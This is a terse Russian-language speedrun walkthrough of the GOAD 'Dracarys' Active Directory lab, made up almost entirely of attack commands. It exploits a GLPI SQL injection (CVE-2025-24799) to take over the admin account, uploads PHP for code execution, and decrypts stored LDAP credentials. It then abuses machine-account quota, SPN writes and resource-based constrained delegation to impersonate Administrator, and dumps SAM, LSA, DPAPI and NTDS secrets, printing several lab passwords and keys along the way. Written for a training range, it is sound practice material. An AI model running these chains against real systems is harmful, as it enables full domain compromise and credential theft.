GOAD Dracarys speedrun

В пост влезло не все, но здесь сделаю вот такой быстрый вариант nmap -A -sV -p- -T5 192.168.56.12 ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.56.12/FUZZ" -ic glpwnme -t http://192.168.56.12/glpi/ --check-all

glpwnme -t http://192.168.56.12/glpi/ -e "CVE_2025_24799" --run -O time=0.4 sql="SELECT CONCAT(users_id, ':', email) FROM glpi_useremails LIMIT 1"

glpwnme -t http://192.168.56.12/glpi/ -e "CVE_2025_24799" --run sql="SELECT password_forget_token FROM glpi_users WHERE name='glpi'"

http://192.168.56.12/glpi/front/lostpassword.php?password_forget_token=здесь_сам_токен

glpwnme -t http://192.168.56.12/glpi/ -u glpi -p glpi -e "PHP_UPLOAD" --run

public $dbuser = 'glpi'; public $dbpassword = 'glpi';

host: ldaps://balerion.dracarys.lab rootdn: CN=sunfyre,CN=Users,DC=dracarys,DC=lab rootdn_passwd: Whqrp48IKkTk7+QAx5xywTnWYvoU/CvrcnQdpb57YkvO9QeIqUmWVazMEsGbqsCG2LabXKjX7IEzmXCR

php define('GLPI_ROOT', '/var/www/html/glpi'); define('GLPI_CONFIG_DIR', GLPI_ROOT . '/config/'); require GLPI_ROOT . '/vendor/autoload.php'; require GLPI_ROOT . '/src/GLPIKey.php';

$key = new GLPIKey(); $enc = "Whqrp48IKkTk7+QAx5xywTnWYvoU/CvrcnQdpb57YkvO9QeIqUmWVazMEsGbqsCG2LabXKjX7IEzmXCR"; echo $key-decrypt($enc) . PHP_EOL;

sunfyre:BSno5DP4tjJ4jIu8is3B

nxc smb 192.168.56.10 -u sunfyre -p 'BSno5DP4tjJ4jIu8is3B'

bloodhound-python -c All -u sunfyre -p BSno5DP4tjJ4jIu8is3B -d dracarys.lab -dc BALERION.dracarys.lab -ns 192.168.56.10 --zip

sunfyre в LinuxUsers

MachineAccountQuota: 10

viserion - WriteSPN - VHAGAR$

addcomputer.py -computer-name 'root$' -dc-host balerion.dracarys.lab -domain-netbios dracarys.lab 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B'

getTGT.py -dc-ip 192.168.56.10 'dracarys.lab/root:здесь_ваш_пароль'

export KRB5CCNAME=root.ccache;ssh -o GSSAPIAuthentication=true root@syrax.dracarys.lab

python3 keytabextract.py /etc/krb5.keytab

export KRB5CCNAME=krb5cc_viserion;nxc smb BALERION.dracarys.lab -u viserion@DRACARYS.LAB -k --use-kcache

KRB5CCNAME=viserion.ccache bloodyAD -u viserion -k -d dracarys.lab --host balerion.dracarys.lab --dc-ip 192.168.56.10 set object 'vhagar$' servicePrincipalName -v 'WSMAN/vhagar.dracarys.lab' -v 'TERMSRV/VHAGAR' -v 'TERMSRV/vhagar.dracarys.lab' -v 'RestrictedKrbHost/VHAGAR' -v 'HOST/VHAGAR' -v 'RestrictedKrbHost/vhagar.dracarys.lab' -v 'HOST/vhagar.dracarys.lab' -v 'HTTP/arrax' -v 'HTTP/arrax.dracarys.lab'

addcomputer.py -computer-name 'ARRAX$' -computer-pass 'Password1337' 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B' -dc-ip 192.168.56.10

getTGT.py -aesKey '37870be09499a141a3229a1939f81f3269e30d59ff242e9fcf04fa6aef7e4f1c' 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

export KRB5CCNAME=SYRAX$.ccache

rbcd.py -delegate-from 'ARRAX$' -delegate-to 'SYRAX$' -use-ldaps -k -no-pass -action write 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

unset KRB5CCNAME getST.py -spn 'SYRAX$' -impersonate Administrator 'dracarys.lab/ARRAX$:Password1337' -dc-ip 192.168.56.10

getTGT.py -aesKey '37870be09499a141a3229a1939f81f3269e30d59ff242e9fcf04fa6aef7e4f1c' 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

export KRB5CCNAME=SYRAX$.ccache getST.py -spn 'HTTP/arrax.dracarys.lab' -impersonate Administrator -k -no-pass -additional-ticket 'Administrator@SYRAX$@DRACARYS.LAB.ccache' 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

tgssub.py -in 'Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache' -out Administrator_winrm.ccache -altservice 'HTTP/vhagar.dracarys.lab'

export KRB5CCNAME=Administrator_winrm.ccache evil-winrm -i vhagar.dracarys.lab -r dracarys.lab

nxc smb 192.168.56.11 -u m0nr0e21 -p Password1337 --local-auth --sam --lsa --dpapi

Evil-WinRM PS C:> type "C:/bot_ssh.ps1"

$User = "viserion" $Password = "aLHtz1WvIVmeV4Zh4CDE"

Evil-WinRM PS C:> Get-WmiObject Win32_Process -Filter "ProcessId=здесь_ID_процесса" | Select-Object CommandLine

nxc smb 192.168.56.10 -u drogon -p sUIjHxs1i0yxZsGBreh0 --ntds